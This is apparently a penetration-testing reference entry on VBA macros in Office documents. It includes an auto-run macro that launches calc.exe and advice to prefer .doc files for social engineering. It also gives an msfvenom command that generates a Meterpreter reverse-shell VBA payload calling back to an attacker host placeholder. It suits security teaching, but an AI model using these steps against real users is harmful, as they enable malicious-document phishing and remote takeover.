Visual Basic for Applications (VBA)

Visual Basic for Applications (VBA) is an event-driven programming language built into Microsoft Office applications. It enables automation of repetitive tasks, custom functionality, and interaction with the user in ways specific to business needs. Nearly every operation that can be performed with a mouse, keyboard, or dialog box can also be automated with VBA.

Important: Do not confuse VBA (“macros”) with standalone Visual Basic Scripts (.vbs files). VBA runs inside Office documents; .vbs files are executed by Windows Script Host.

Key characteristics

  • Event-driven: Code executes in response to events (document open, button click, cell change)
  • Object-oriented: Manipulates Office object models (Application, Document, Worksheet, Presentation, etc.)
  • Embedded: Lives inside Office documents (.doc, .docm, .xls, .xlsm, .ppt, .pptm)
  • Trusted context: Runs with the full privileges of the Office application and the logged-on user

Macro execution hooks

To execute code when a document opens, VBA macros hook into auto-execute functions:

Sub Document_Open()
	PoC
End Sub
 
Sub AutoOpen()
	PoC
End Sub
 
Sub PoC()
	Dim payload As String
	payload = "calc.exe"
	CreateObject("Wscript.Shell").Run payload, 0
End Sub
  • Document_Open() — Word
  • Workbook_Open() — Excel
  • AutoOpen() — legacy compatibility (include both for backward-compatibility)

Macros are accessed via View > Macros > View Macros. When creating macros, ensure Macros in is set to the current document. Test with Run > Run Sub/UserForm in the VBA editor.

File format constraints

  • .docx cannot contain macros — use .doc (legacy binary) or .docm (macro-enabled XML)
  • .doc is preferred for social engineering — the .docm icon is visibly different from a standard Word document
  • The same constraints apply to Excel (.xlsx.xls/.xlsm) and PowerPoint (.pptx.ppt/.pptm)

Security implications

VBA macros are a classic initial-access and execution vector. Running an application via VBA invokes Windows Script Host (WScript.Shell), which can launch executables, scripts, and command interpreters. Modern Windows versions restrict what can be launched via WSH from Office macros, but Meterpreter reverse shells generated by msfvenom still function — though they die when the host Office process terminates and must be migrated immediately.

Generating VBA payloads with msfvenom

msfvenom -p windows/meterpreter/reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f vba -o ${NAME}.vba

Copy the output into an Office document as a macro. By default msfvenom targets Workbook_Open() (Excel); change to Document_Open() for Word.

See also

Sources